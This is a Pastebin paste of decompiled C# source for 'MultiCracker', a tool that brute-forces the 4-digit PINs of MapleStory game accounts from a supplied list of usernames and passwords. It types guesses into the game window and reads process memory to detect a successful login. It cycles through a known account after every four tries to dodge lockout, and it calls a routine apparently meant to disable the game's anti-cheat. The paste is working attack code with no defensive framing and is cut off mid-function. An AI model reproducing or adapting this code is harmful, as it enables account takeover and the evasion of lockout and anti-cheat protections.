Advertisement
Guest User

Untitled

a guest
Jun 10th, 2017
151
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 40.82 KB | None | 0 0
  1. namespace MultiCracker
  2. {
  3. using MultiCracker.Properties;
  4. using System;
  5. using System.Diagnostics;
  6. using System.Drawing;
  7. using System.IO;
  8. using System.Runtime.CompilerServices;
  9. using System.Runtime.InteropServices;
  10. using System.Threading;
  11. using System.Windows.Forms;
  12.  
  13. public class CrackingProcess
  14. {
  15. public static int ChangePinX = 0x12f;
  16. public static int ChangePinY = 0x150;
  17. public static Thread Cracking = new Thread(delegate {
  18. DoCrack(FindWindowHandle("MapleStory"), OpenMemoryReturnProcessID("MapleStory"), Form1.loginmethod);
  19. });
  20. public static int currentpin = 0;
  21. private static DirectXWrapper DXWrap = new DirectXWrapper();
  22. public static int endingpin = 0;
  23. private static HandleRef hndl = new HandleRef();
  24. public static int LogoutBtnX = 0x3e;
  25. public static int LogoutBtnY = 0x1d3;
  26. private static Process MapleProcess = null;
  27. public static Random MyRandomGen = new Random();
  28. public static bool relogging = false;
  29. public static Thread StartMapleThread = new Thread(delegate {
  30. StartMapleThreadVoid();
  31. });
  32. public static int totaltries = 0;
  33. public static int UserBoxX = 0x22f;
  34. public static int UserBoxY = 0xf5;
  35. public static string writtencurrentpin = "";
  36.  
  37. [CompilerGenerated]
  38. private static void <.cctor>b__0()
  39. {
  40. DoCrack(FindWindowHandle("MapleStory"), OpenMemoryReturnProcessID("MapleStory"), Form1.loginmethod);
  41. }
  42.  
  43. [CompilerGenerated]
  44. private static void <.cctor>b__1()
  45. {
  46. StartMapleThreadVoid();
  47. }
  48.  
  49. public static int CheckArrayIDforNextCrack()
  50. {
  51. try
  52. {
  53. for (int i = 0; i < AccountsHolder.accounts.Count; i++)
  54. {
  55. if (AccountsHolder.accounts[i].foundpin == 0)
  56. {
  57. return i;
  58. }
  59. }
  60. }
  61. catch
  62. {
  63. return 0xcc07c9;
  64. }
  65. return 0xcc07c9;
  66. }
  67.  
  68. [DllImport("gdi32.dll")]
  69. private static extern IntPtr CreateFont(int nHeight, int nWidth, int nEscapement, int nOrientation, int fnWeight, uint fdwItalic, uint fdwUnderline, uint fdwStrikeOut, uint fdwCharSet, uint fdwOutputPrecision, uint fdwClipPrecision, uint fdwQuality, uint fdwPitchAndFamily, string lpszFace);
  70. private static void DoCrack(IntPtr MapleHandle, IntPtr MapleID, bool loginmethod)
  71. {
  72. while (CrackingThreadC.itoberunning)
  73. {
  74. if (((FindWindow("#32770", "MapleStory") != IntPtr.Zero) && Settings.Default.RelogOnDc) && !relogging)
  75. {
  76. relogging = true;
  77. PostMessageA(FindWindow("#32770", "MapleStory"), 0x10, 0, 0);
  78. Thread.Sleep((int) (Settings.Default.relogondcDelay * 0x3e8));
  79. MapleThreadVoidC.launchmaple = true;
  80. MapleThreadVoidC.itoberunning = true;
  81. CrackingThreadC.itoberunning = false;
  82. }
  83. if (loginmethod)
  84. {
  85. if ((ReadLoggedOrNot(MapleID) != 0) && CrackingThreadC.isoncracked)
  86. {
  87. CrackingThreadC.foundpin = currentpin - 1;
  88. FoundPinSaver(CrackingThreadC.username, CrackingThreadC.foundpin);
  89. AccountsHolder.accounts[CrackingThreadC.id].foundpin = CrackingThreadC.foundpin;
  90. if (CheckArrayIDforNextCrack() == 0xcc07c9)
  91. {
  92. ProcessShutter("MapleStory");
  93. MessageBox.Show("Cracking process finished, TXT files were saved with results in the Output folder");
  94. Thread.CurrentThread.Abort();
  95. MapleThreadVoidC.itoberunning = false;
  96. }
  97. else
  98. {
  99. CrackingThreadC.pintries = 0;
  100. CrackingThreadC.crackuserpinbox = false;
  101. CrackingThreadC.logoutandmovetonextaccount_1 = true;
  102. }
  103. }
  104. if (CrackingThreadC.isfirststart)
  105. {
  106. SetHighPriority("MapleStory");
  107. CrackingThreadC.id = CheckArrayIDforNextCrack();
  108. CrackingThreadC.username = AccountsHolder.accounts[CrackingThreadC.id].username;
  109. Form1.currentid_label.Text = "ID: " + CrackingThreadC.username;
  110. CrackingThreadC.password = AccountsHolder.accounts[CrackingThreadC.id].password;
  111. CrackingThreadC.startingpin = AccountsHolder.accounts[CrackingThreadC.id].startingpin;
  112. endingpin = AccountsHolder.accounts[CrackingThreadC.id].endingpin;
  113. if (!relogging)
  114. {
  115. if (Settings.Default.randomcracking)
  116. {
  117. currentpin = MyRandomGen.Next(CrackingThreadC.startingpin, endingpin + 1);
  118. }
  119. else
  120. {
  121. currentpin = CrackingThreadC.startingpin;
  122. }
  123. if (Settings.Default.windowmode)
  124. {
  125. CrackingThreadC.mouse.MakeWindowMode();
  126. UserBoxX += 5;
  127. ChangePinX += 5;
  128. LogoutBtnX += 5;
  129. UserBoxY += 30;
  130. ChangePinY += 30;
  131. LogoutBtnY += 30;
  132. }
  133. }
  134. else
  135. {
  136. relogging = false;
  137. }
  138. CrackingThreadC.isfirststart = false;
  139. CrackingThreadC.knownuserinfo = true;
  140. }
  141. if (CrackingThreadC.knownuserinfo)
  142. {
  143. if ((ReadLoggedOrNot(MapleID) == 0) && (ReadPinDialog(MapleID) == 3))
  144. {
  145. CrackingThreadC.mouse.LeftClick(UserBoxX, UserBoxY, Settings.Default.MousePressDelay, Settings.Default.safeclickusername, Settings.Default.MinimizedCracking, MapleHandle);
  146. for (int i = 0; i < CrackingThreadC.username.Length; i++)
  147. {
  148. PostMessageA(MapleHandle, 0x100, 8, 0);
  149. Thread.Sleep(Settings.Default.typingDelay);
  150. PostMessageA(MapleHandle, 0x101, 8, 0);
  151. }
  152. for (int j = 0; j < Settings.Default.knownUser.Length; j++)
  153. {
  154. PostMessageA(MapleHandle, 0x102, Settings.Default.knownUser[j], 0);
  155. Thread.Sleep(Settings.Default.typingDelay);
  156. }
  157. PostMessageA(MapleHandle, 0x100, 9, 0);
  158. Thread.Sleep(Settings.Default.typingDelay);
  159. PostMessageA(MapleHandle, 0x101, 9, 0);
  160. for (int k = 0; k < CrackingThreadC.password.Length; k++)
  161. {
  162. PostMessageA(MapleHandle, 0x100, 8, 0);
  163. Thread.Sleep(Settings.Default.typingDelay);
  164. PostMessageA(MapleHandle, 0x101, 8, 0);
  165. }
  166. for (int m = 0; m < Settings.Default.knownPass.Length; m++)
  167. {
  168. PostMessageA(MapleHandle, 0x102, Settings.Default.knownPass[m], 0);
  169. Thread.Sleep(Settings.Default.typingDelay);
  170. }
  171. PostMessageA(MapleHandle, 0x100, 13, 0);
  172. Thread.Sleep(Settings.Default.typingDelay);
  173. PostMessageA(MapleHandle, 0x101, 13, 0);
  174. CrackingThreadC.knownuserinfo = false;
  175. CrackingThreadC.knownuserpinbox = true;
  176. }
  177. }
  178. else if (CrackingThreadC.knownuserpinbox)
  179. {
  180. if (ReadPinDialog(MapleID) == 4)
  181. {
  182. for (int n = 0; n < MakeCurrentPin(Settings.Default.knownPin).Length; n++)
  183. {
  184. PostMessageA(MapleHandle, 0x102, MakeCurrentPin(Settings.Default.knownPin)[n], 0);
  185. Thread.Sleep(Settings.Default.typingDelay);
  186. }
  187. PostMessageA(MapleHandle, 0x100, 13, 0);
  188. Thread.Sleep(Settings.Default.typingDelay);
  189. PostMessageA(MapleHandle, 0x101, 13, 0);
  190. CrackingThreadC.knownuserpinbox = false;
  191. CrackingThreadC.knownuserchangepin = true;
  192. }
  193. }
  194. else if (CrackingThreadC.knownuserchangepin)
  195. {
  196. if (((ReadLoggedOrNot(MapleID) != 0) && !CrackingThreadC.isoncracked) && (ReadPinDialog(MapleID) != 5))
  197. {
  198. if (Form1.logoutmousepress)
  199. {
  200. PostMessageA(MapleHandle, 0x100, 0x1b, 0);
  201. Thread.Sleep(Settings.Default.typingDelay);
  202. PostMessageA(MapleHandle, 0x101, 0x1b, 0);
  203. }
  204. else
  205. {
  206. CrackingThreadC.mouse.LeftClick(LogoutBtnX, LogoutBtnY, Settings.Default.MousePressDelay, Settings.Default.safeclickchangepin, Settings.Default.MinimizedCracking, MapleHandle);
  207. }
  208. }
  209. else if (((ReadLoggedOrNot(MapleID) != 0) && !CrackingThreadC.isoncracked) && (ReadPinDialog(MapleID) == 5))
  210. {
  211. Thread.Sleep(500);
  212. PostMessageA(MapleHandle, 0x100, 13, 0);
  213. Thread.Sleep(Settings.Default.typingDelay);
  214. PostMessageA(MapleHandle, 0x101, 13, 0);
  215. CrackingThreadC.knownuserchangepin = false;
  216. CrackingThreadC.crackuserinfo = true;
  217. }
  218. }
  219. else if (CrackingThreadC.crackuserinfo)
  220. {
  221. if ((ReadLoggedOrNot(MapleID) == 0) && (ReadPinDialog(MapleID) == 3))
  222. {
  223. CrackingThreadC.mouse.LeftClick(UserBoxX, UserBoxY, Settings.Default.MousePressDelay, Settings.Default.safeclickusername, Settings.Default.MinimizedCracking, MapleHandle);
  224. for (int num6 = 0; num6 < Settings.Default.knownUser.Length; num6++)
  225. {
  226. PostMessageA(MapleHandle, 0x100, 8, 0);
  227. Thread.Sleep(Settings.Default.typingDelay);
  228. PostMessageA(MapleHandle, 0x101, 8, 0);
  229. }
  230. for (int num7 = 0; num7 < CrackingThreadC.username.Length; num7++)
  231. {
  232. PostMessageA(MapleHandle, 0x102, CrackingThreadC.username[num7], 0);
  233. Thread.Sleep(Settings.Default.typingDelay);
  234. }
  235. PostMessageA(MapleHandle, 0x100, 9, 0);
  236. Thread.Sleep(Settings.Default.typingDelay);
  237. PostMessageA(MapleHandle, 0x101, 9, 0);
  238. for (int num8 = 0; num8 < Settings.Default.knownPass.Length; num8++)
  239. {
  240. PostMessageA(MapleHandle, 0x100, 8, 0);
  241. Thread.Sleep(Settings.Default.typingDelay);
  242. PostMessageA(MapleHandle, 0x101, 8, 0);
  243. }
  244. for (int num9 = 0; num9 < CrackingThreadC.password.Length; num9++)
  245. {
  246. PostMessageA(MapleHandle, 0x102, CrackingThreadC.password[num9], 0);
  247. }
  248. PostMessageA(MapleHandle, 0x100, 13, 0);
  249. Thread.Sleep(Settings.Default.typingDelay);
  250. PostMessageA(MapleHandle, 0x101, 13, 0);
  251. CrackingThreadC.crackuserinfo = false;
  252. CrackingThreadC.crackuserpinbox = true;
  253. }
  254. }
  255. else if (CrackingThreadC.crackuserpinbox)
  256. {
  257. if (ReadPinDialog(MapleID) == 4)
  258. {
  259. if (currentpin <= endingpin)
  260. {
  261. if (CrackingThreadC.pintries < 4)
  262. {
  263. writtencurrentpin = MakeCurrentPin(currentpin);
  264. for (int num10 = 0; num10 < writtencurrentpin.Length; num10++)
  265. {
  266. PostMessageA(MapleHandle, 0x102, writtencurrentpin[num10], 0);
  267. Thread.Sleep(Settings.Default.typingDelay);
  268. }
  269. PostMessageA(MapleHandle, 0x100, 13, 0);
  270. Thread.Sleep(Settings.Default.typingDelay);
  271. PostMessageA(MapleHandle, 0x101, 13, 0);
  272. if (Settings.Default.randomcracking)
  273. {
  274. currentpin = MyRandomGen.Next(CrackingThreadC.startingpin, endingpin + 1);
  275. }
  276. else
  277. {
  278. currentpin++;
  279. }
  280. CrackingThreadC.pintries++;
  281. totaltries++;
  282. }
  283. else
  284. {
  285. LastTriedPinSaver(CrackingThreadC.username, currentpin);
  286. PostMessageA(MapleHandle, 0x100, 0x1b, 0);
  287. Thread.Sleep(Settings.Default.typingDelay);
  288. PostMessageA(MapleHandle, 0x101, 0x1b, 0);
  289. CrackingThreadC.pintries = 0;
  290. CrackingThreadC.crackuserpinbox = false;
  291. CrackingThreadC.knownuserinfo = true;
  292. }
  293. }
  294. else
  295. {
  296. AccountsHolder.accounts[CrackingThreadC.id].foundpin = 0x2710;
  297. if (CheckArrayIDforNextCrack() == 0xcc07c9)
  298. {
  299. ProcessShutter("MapleStory");
  300. MessageBox.Show("Cracking process finished, nothing found for username " + CrackingThreadC.username);
  301. Thread.CurrentThread.Abort();
  302. CrackingThreadC.itoberunning = false;
  303. }
  304. }
  305. }
  306. else
  307. {
  308. Thread.Sleep(Settings.Default.CrackingPinBoxDelay);
  309. }
  310. }
  311. else if (CrackingThreadC.logoutandmovetonextaccount_1)
  312. {
  313. Thread.Sleep(0x1b58);
  314. if (Form1.logoutmousepress)
  315. {
  316. PostMessageA(MapleHandle, 0x100, 0x1b, 0);
  317. Thread.Sleep(Settings.Default.typingDelay);
  318. PostMessageA(MapleHandle, 0x101, 0x1b, 0);
  319. }
  320. else
  321. {
  322. CrackingThreadC.mouse.LeftClick(LogoutBtnX, LogoutBtnY, Settings.Default.MousePressDelay, Settings.Default.safeclickchangepin, Settings.Default.MinimizedCracking, MapleHandle);
  323. }
  324. CrackingThreadC.logoutandmovetonextaccount_1 = false;
  325. CrackingThreadC.logoutandmovetonextaccount_2 = true;
  326. }
  327. else if (CrackingThreadC.logoutandmovetonextaccount_2)
  328. {
  329. PostMessageA(MapleHandle, 0x100, 13, 0);
  330. Thread.Sleep(Settings.Default.typingDelay);
  331. PostMessageA(MapleHandle, 0x101, 13, 0);
  332. Thread.Sleep(0x7d0);
  333. CrackingThreadC.logoutandmovetonextaccount_2 = false;
  334. CrackingThreadC.isfirststart = true;
  335. }
  336. Thread.Sleep(Settings.Default.CrackingThreadDelay);
  337. }
  338. else
  339. {
  340. if (ReadLoggedOrNot(MapleID) != 0)
  341. {
  342. CrackingThreadC.foundpin = currentpin - 1;
  343. FoundPinSaver(CrackingThreadC.username, CrackingThreadC.foundpin);
  344. AccountsHolder.accounts[CrackingThreadC.id].foundpin = CrackingThreadC.foundpin;
  345. if (CheckArrayIDforNextCrack() == 0xcc07c9)
  346. {
  347. ProcessShutter("MapleStory");
  348. MessageBox.Show("Cracking process finished, TXT files were saved with results in the Output folder");
  349. Thread.CurrentThread.Abort();
  350. CrackingThreadC.itoberunning = false;
  351. }
  352. else
  353. {
  354. CrackingThreadC.pintries = 0;
  355. CrackingThreadC.crackuserpinbox = false;
  356. CrackingThreadC.logoutandmovetonextaccount_1 = true;
  357. }
  358. }
  359. if (CrackingThreadC.isfirststart)
  360. {
  361. SetHighPriority("MapleStory");
  362. CrackingThreadC.id = CheckArrayIDforNextCrack();
  363. CrackingThreadC.username = AccountsHolder.accounts[CrackingThreadC.id].username;
  364. Form1.currentid_label.Text = "ID: " + CrackingThreadC.username;
  365. CrackingThreadC.password = AccountsHolder.accounts[CrackingThreadC.id].password;
  366. CrackingThreadC.startingpin = AccountsHolder.accounts[CrackingThreadC.id].startingpin;
  367. endingpin = AccountsHolder.accounts[CrackingThreadC.id].endingpin;
  368. if (!relogging)
  369. {
  370. if (Settings.Default.randomcracking)
  371. {
  372. currentpin = MyRandomGen.Next(CrackingThreadC.startingpin, endingpin + 1);
  373. }
  374. else
  375. {
  376. currentpin = CrackingThreadC.startingpin;
  377. }
  378. if (Settings.Default.windowmode)
  379. {
  380. UserBoxX += 5;
  381. ChangePinX += 5;
  382. UserBoxY += 30;
  383. ChangePinY += 30;
  384. }
  385. }
  386. else
  387. {
  388. relogging = false;
  389. }
  390. if (Settings.Default.windowmode)
  391. {
  392. CrackingThreadC.mouse.MakeWindowMode();
  393. }
  394. CrackingThreadC.isfirststart = false;
  395. CrackingThreadC.knownuserinfo = true;
  396. }
  397. if (CrackingThreadC.knownuserinfo)
  398. {
  399. if ((ReadLoggedOrNot(MapleID) == 0) && (ReadPinDialog(MapleID) == 3))
  400. {
  401. CrackingThreadC.mouse.LeftClick(UserBoxX, UserBoxY, Settings.Default.MousePressDelay, Settings.Default.safeclickusername, Settings.Default.MinimizedCracking, MapleHandle);
  402. for (int num11 = 0; num11 < CrackingThreadC.username.Length; num11++)
  403. {
  404. PostMessageA(MapleHandle, 0x100, 8, 0);
  405. Thread.Sleep(Settings.Default.typingDelay);
  406. PostMessageA(MapleHandle, 0x101, 8, 0);
  407. }
  408. for (int num12 = 0; num12 < Settings.Default.knownUser.Length; num12++)
  409. {
  410. PostMessageA(MapleHandle, 0x102, Settings.Default.knownUser[num12], 0);
  411. Thread.Sleep(Settings.Default.typingDelay);
  412. }
  413. PostMessageA(MapleHandle, 0x100, 9, 0);
  414. Thread.Sleep(Settings.Default.typingDelay);
  415. PostMessageA(MapleHandle, 0x101, 9, 0);
  416. for (int num13 = 0; num13 < CrackingThreadC.password.Length; num13++)
  417. {
  418. PostMessageA(MapleHandle, 0x100, 8, 0);
  419. Thread.Sleep(Settings.Default.typingDelay);
  420. PostMessageA(MapleHandle, 0x101, 8, 0);
  421. }
  422. for (int num14 = 0; num14 < Settings.Default.knownPass.Length; num14++)
  423. {
  424. PostMessageA(MapleHandle, 0x102, Settings.Default.knownPass[num14], 0);
  425. Thread.Sleep(Settings.Default.typingDelay);
  426. }
  427. PostMessageA(MapleHandle, 0x100, 13, 0);
  428. Thread.Sleep(Settings.Default.typingDelay);
  429. PostMessageA(MapleHandle, 0x101, 13, 0);
  430. CrackingThreadC.knownuserinfo = false;
  431. CrackingThreadC.knownuserpinbox = true;
  432. }
  433. }
  434. else if (CrackingThreadC.knownuserpinbox)
  435. {
  436. if (ReadPinDialog(MapleID) == 4)
  437. {
  438. for (int num15 = 0; num15 < MakeCurrentPin(Settings.Default.knownPin).Length; num15++)
  439. {
  440. PostMessageA(MapleHandle, 0x102, MakeCurrentPin(Settings.Default.knownPin)[num15], 0);
  441. Thread.Sleep(Settings.Default.typingDelay);
  442. }
  443. CrackingThreadC.mouse.LeftClick(ChangePinX, ChangePinY, Settings.Default.MousePressDelay, Settings.Default.safeclickchangepin, Settings.Default.MinimizedCracking, MapleHandle);
  444. Thread.Sleep(Settings.Default.ChangePinDelay);
  445. CrackingThreadC.knownuserpinbox = false;
  446. CrackingThreadC.knownuserchangepin = true;
  447. }
  448. }
  449. else if (CrackingThreadC.knownuserchangepin)
  450. {
  451. if (ReadPinDialog(MapleID) == 4)
  452. {
  453. PostMessageA(MapleHandle, 0x100, 0x1b, 0);
  454. Thread.Sleep(Settings.Default.typingDelay);
  455. PostMessageA(MapleHandle, 0x101, 0x1b, 0);
  456. CrackingThreadC.knownuserchangepin = false;
  457. CrackingThreadC.crackuserinfo = true;
  458. }
  459. }
  460. else if (CrackingThreadC.crackuserinfo)
  461. {
  462. if ((ReadLoggedOrNot(MapleID) == 0) && (ReadPinDialog(MapleID) == 3))
  463. {
  464. CrackingThreadC.mouse.LeftClick(UserBoxX, UserBoxY, Settings.Default.MousePressDelay, Settings.Default.safeclickusername, Settings.Default.MinimizedCracking, MapleHandle);
  465. for (int num16 = 0; num16 < Settings.Default.knownUser.Length; num16++)
  466. {
  467. PostMessageA(MapleHandle, 0x100, 8, 0);
  468. Thread.Sleep(Settings.Default.typingDelay);
  469. PostMessageA(MapleHandle, 0x101, 8, 0);
  470. }
  471. for (int num17 = 0; num17 < CrackingThreadC.username.Length; num17++)
  472. {
  473. PostMessageA(MapleHandle, 0x102, CrackingThreadC.username[num17], 0);
  474. Thread.Sleep(Settings.Default.typingDelay);
  475. }
  476. PostMessageA(MapleHandle, 0x100, 9, 0);
  477. Thread.Sleep(Settings.Default.typingDelay);
  478. PostMessageA(MapleHandle, 0x101, 9, 0);
  479. for (int num18 = 0; num18 < Settings.Default.knownPass.Length; num18++)
  480. {
  481. PostMessageA(MapleHandle, 0x100, 8, 0);
  482. Thread.Sleep(Settings.Default.typingDelay);
  483. PostMessageA(MapleHandle, 0x101, 8, 0);
  484. }
  485. for (int num19 = 0; num19 < CrackingThreadC.password.Length; num19++)
  486. {
  487. PostMessageA(MapleHandle, 0x102, CrackingThreadC.password[num19], 0);
  488. }
  489. PostMessageA(MapleHandle, 0x100, 13, 0);
  490. Thread.Sleep(Settings.Default.typingDelay);
  491. PostMessageA(MapleHandle, 0x101, 13, 0);
  492. CrackingThreadC.crackuserinfo = false;
  493. CrackingThreadC.crackuserpinbox = true;
  494. }
  495. }
  496. else if (CrackingThreadC.crackuserpinbox)
  497. {
  498. if (ReadPinDialog(MapleID) == 4)
  499. {
  500. if (currentpin <= endingpin)
  501. {
  502. if (CrackingThreadC.pintries < 4)
  503. {
  504. writtencurrentpin = MakeCurrentPin(currentpin);
  505. for (int num20 = 0; num20 < writtencurrentpin.Length; num20++)
  506. {
  507. PostMessageA(MapleHandle, 0x102, writtencurrentpin[num20], 0);
  508. Thread.Sleep(Settings.Default.typingDelay);
  509. }
  510. PostMessageA(MapleHandle, 0x100, 13, 0);
  511. Thread.Sleep(Settings.Default.typingDelay);
  512. PostMessageA(MapleHandle, 0x101, 13, 0);
  513. if (Settings.Default.randomcracking)
  514. {
  515. currentpin = MyRandomGen.Next(CrackingThreadC.startingpin, endingpin + 1);
  516. }
  517. else
  518. {
  519. currentpin++;
  520. }
  521. CrackingThreadC.pintries++;
  522. totaltries++;
  523. }
  524. else
  525. {
  526. LastTriedPinSaver(CrackingThreadC.username, currentpin);
  527. PostMessageA(MapleHandle, 0x100, 0x1b, 0);
  528. Thread.Sleep(Settings.Default.typingDelay);
  529. PostMessageA(MapleHandle, 0x101, 0x1b, 0);
  530. CrackingThreadC.pintries = 0;
  531. CrackingThreadC.crackuserpinbox = false;
  532. CrackingThreadC.knownuserinfo = true;
  533. }
  534. }
  535. else
  536. {
  537. AccountsHolder.accounts[CrackingThreadC.id].foundpin = 0x2710;
  538. if (CheckArrayIDforNextCrack() == 0xcc07c9)
  539. {
  540. ProcessShutter("MapleStory");
  541. MessageBox.Show("Cracking process finished, nothing found for username " + CrackingThreadC.username);
  542. Thread.CurrentThread.Abort();
  543. CrackingThreadC.itoberunning = false;
  544. }
  545. }
  546. }
  547. else
  548. {
  549. Thread.Sleep(Settings.Default.CrackingPinBoxDelay);
  550. }
  551. }
  552. else if (CrackingThreadC.logoutandmovetonextaccount_1)
  553. {
  554. Thread.Sleep(0x1b58);
  555. if (Form1.logoutmousepress)
  556. {
  557. PostMessageA(MapleHandle, 0x100, 0x1b, 0);
  558. Thread.Sleep(Settings.Default.typingDelay);
  559. PostMessageA(MapleHandle, 0x101, 0x1b, 0);
  560. }
  561. else
  562. {
  563. CrackingThreadC.mouse.LeftClick(LogoutBtnX, LogoutBtnY, Settings.Default.MousePressDelay, Settings.Default.safeclickchangepin, Settings.Default.MinimizedCracking, MapleHandle);
  564. }
  565. CrackingThreadC.logoutandmovetonextaccount_1 = false;
  566. CrackingThreadC.logoutandmovetonextaccount_2 = true;
  567. }
  568. else if (CrackingThreadC.logoutandmovetonextaccount_2)
  569. {
  570. PostMessageA(MapleHandle, 0x100, 13, 0);
  571. Thread.Sleep(Settings.Default.typingDelay);
  572. PostMessageA(MapleHandle, 0x101, 13, 0);
  573. Thread.Sleep(0x7d0);
  574. CrackingThreadC.logoutandmovetonextaccount_2 = false;
  575. CrackingThreadC.isfirststart = true;
  576. }
  577. Thread.Sleep(Settings.Default.CrackingThreadDelay);
  578. }
  579. }
  580. if (!CrackingThreadC.itoberunning)
  581. {
  582. Thread.Sleep(0x1388);
  583. DoCrack(FindWindowHandle("MapleStory"), OpenMemoryReturnProcessID("MapleStory"), Form1.loginmethod);
  584. }
  585. }
  586.  
  587. public static IntPtr FindHandleByClass(string Class)
  588. {
  589. return FindWindow(Class, null);
  590. }
  591.  
  592. [DllImport("user32.dll", SetLastError=true)]
  593. private static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
  594. public static IntPtr FindWindowHandle(string ProcessName)
  595. {
  596. Process[] processesByName = Process.GetProcessesByName(ProcessName);
  597. int index = 0;
  598. while (index < processesByName.Length)
  599. {
  600. Process process = processesByName[index];
  601. return process.MainWindowHandle;
  602. }
  603. return IntPtr.Zero;
  604. }
  605.  
  606. public static void FoundPinSaver(string accountname, int pin)
  607. {
  608. MakeTXTFile(@"Output\" + accountname + " Found pin.txt", pin.ToString());
  609. }
  610.  
  611. [DllImport("user32.dll")]
  612. private static extern IntPtr GetDC(HandleRef hWnd);
  613. public static void LastTriedPinSaver(string accountname, int pin)
  614. {
  615. MakeTXTFile(@"Output\" + accountname + " Last Tried pin.txt", pin.ToString());
  616. }
  617.  
  618. public static void LaunchMaple()
  619. {
  620. Process process = new Process();
  621. process.StartInfo.FileName = Settings.Default.maplePath + @"\MapleStory.exe";
  622. process.Start();
  623. }
  624.  
  625. public static string MakeCurrentPin(int curr)
  626. {
  627. string str = "";
  628. if (curr < 10)
  629. {
  630. return ("000" + curr.ToString());
  631. }
  632. if ((curr >= 10) && (curr < 100))
  633. {
  634. return ("00" + curr.ToString());
  635. }
  636. if ((curr >= 100) && (curr < 0x3e8))
  637. {
  638. return ("0" + curr.ToString());
  639. }
  640. if ((curr >= 0x3e8) && (curr < 0x2710))
  641. {
  642. str = curr.ToString();
  643. }
  644. return str;
  645. }
  646.  
  647. public static void MakeTXTFile(string name, string whattowrite)
  648. {
  649. DirectoryInfo info = new DirectoryInfo(name.Split(new char[] { '\\' })[0]);
  650. if (!info.Exists)
  651. {
  652. info.Create();
  653. }
  654. new FileStream(name, FileMode.OpenOrCreate, FileAccess.ReadWrite).Close();
  655. TextWriter writer = new StreamWriter(name);
  656. writer.WriteLine(whattowrite);
  657. writer.Close();
  658. }
  659.  
  660. public static IntPtr OpenMemoryReturnProcessID(string ProcessName)
  661. {
  662. Process[] processesByName = Process.GetProcessesByName(ProcessName);
  663. int index = 0;
  664. while (index < processesByName.Length)
  665. {
  666. Process process = processesByName[index];
  667. return OpenProcess(0xf0fff, false, (uint) process.Id);
  668. }
  669. return IntPtr.Zero;
  670. }
  671.  
  672. [DllImport("kernel32.dll")]
  673. public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
  674. [DllImport("user32.dll")]
  675. public static extern bool PostMessageA(IntPtr hWnd, uint msg, int wParam, uint lParam);
  676. public static void ProcessShutter(string ProcessName)
  677. {
  678. foreach (Process process in Process.GetProcessesByName(ProcessName))
  679. {
  680. process.Kill();
  681. }
  682. }
  683.  
  684. public static int Read4Bytes(IntPtr ProcID, IntPtr Address)
  685. {
  686. uint num;
  687. byte[] lpBuffer = new byte[4];
  688. ReadProcessMemory(ProcID, Address, lpBuffer, 4, out num);
  689. int num2 = 0;
  690. for (int i = 0; i < 3; i++)
  691. {
  692. num2 += lpBuffer[i];
  693. }
  694. return num2;
  695. }
  696.  
  697. public static int ReadLoggedOrNot(IntPtr ProcID)
  698. {
  699. return Read4Bytes(OpenMemoryReturnProcessID("MapleStory"), (IntPtr) Settings.Default.LOGGED_IN);
  700. }
  701.  
  702. public static int ReadPinDialog(IntPtr ProcID)
  703. {
  704. return Read4Bytes(ProcID, (IntPtr) Settings.Default.PIN_DIALOG);
  705. }
  706.  
  707. [DllImport("kernel32.dll")]
  708. public static extern void ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out uint lpNumberOfBytesRead);
  709. public static Process ReturnProcess(string ProcessName)
  710. {
  711. Process[] processesByName = Process.GetProcessesByName(ProcessName);
  712. int index = 0;
  713. while (index < processesByName.Length)
  714. {
  715. return processesByName[index];
  716. }
  717. return null;
  718. }
  719.  
  720. public static void SendMyMapleText(IntPtr WindowDC, int x, int y)
  721. {
  722. TextProcessor processor = new TextProcessor();
  723. IntPtr font = CreateFont(0x10, 0, 0, 0, 700, 0, 0, 0, 0, 0, 0, 0, 0, "Arial");
  724. Color black = Color.Black;
  725. Color fontColor = Color.Black;
  726. processor.SendText(WindowDC, font, TextProcessor.BkMode.TRANSPARENT, black, fontColor, "- " + writtencurrentpin, x, y);
  727. }
  728.  
  729. public static void SetHighPriority(string ProcessName)
  730. {
  731. foreach (Process process in Process.GetProcessesByName(ProcessName))
  732. {
  733. process.PriorityClass = ProcessPriorityClass.RealTime;
  734. }
  735. }
  736.  
  737. public static void ShutByClass(string cls)
  738. {
  739. PostMessageA(FindWindow(cls, null), 0x10, 0, 0);
  740. }
  741.  
  742. private static void StartMapleThreadVoid()
  743. {
  744. while (MapleThreadVoidC.itoberunning)
  745. {
  746. if (MapleThreadVoidC.launchmaple)
  747. {
  748. if (((int) FindWindow("MapleStoryClass", null)) > 0)
  749. {
  750. PostMessageA(FindWindow("MapleStoryClass", null), 0x10, 0, 0);
  751. Thread.Sleep(0x1388);
  752. }
  753. else if ((ReturnProcess("MapleStory") != null) && (FindWindow("StartUpDlgClass", null) == IntPtr.Zero))
  754. {
  755. ProcessShutter("MapleStory");
  756. Thread.Sleep(0x1388);
  757. }
  758. LaunchMaple();
  759. Thread.Sleep(Settings.Default.WaitForMapleAdDelay);
  760. MemoryWriter.MakeGGless(OpenMemoryReturnProcessID("MapleStory"));
  761. ShutByClass("StartUpDlgClass");
  762. Thread.Sleep(Settings.Default.MemoryWritingDelay);
  763. MapleThreadVoidC.launchmaple = false;
  764. MapleThreadVoidC.waitformainscreen = true;
  765. Thread.Sleep(0xbb8);
  766. }
  767. else if (MapleThreadVoidC.waitformainscreen && (ReadPinDialog(OpenMemoryReturnProcessID("MapleStory")) == 3))
  768. {
  769. Thread.Sleep(0x7d0);
  770. UpdateHandle();
  771. UpdateCoords();
  772. if (Cracking.ThreadState == System.Threading.ThreadState.Unstarted)
  773. {
  774. Cracking.Start();
  775. }
  776. else if (relogging)
  777. {
  778. if (!CrackingThreadC.itoberunning)
  779. {
  780. CrackingThreadC.SetAllFalse();
  781. CrackingThreadC.isfirststart = true;
  782. CrackingThreadC.itoberunning = true;
  783. }
  784. }
  785. else
  786. {
  787. MessageBox.Show("Error occured in StartMapleThread!");
  788. }
  789. MapleThreadVoidC.waitformainscreen = false;
  790. }
  791. Thread.Sleep(0x7d0);
  792. }
  793. }
  794.  
  795. public static void UpdateCoords()
  796. {
  797. ChangePinX = Settings.Default.ChangePinX;
  798. ChangePinY = Settings.Default.ChangePinY;
  799. LogoutBtnX = Settings.Default.LogoutBtnX;
  800. LogoutBtnX = Settings.Default.LogoutBtnY;
  801. UserBoxX = Settings.Default.UserBoxX;
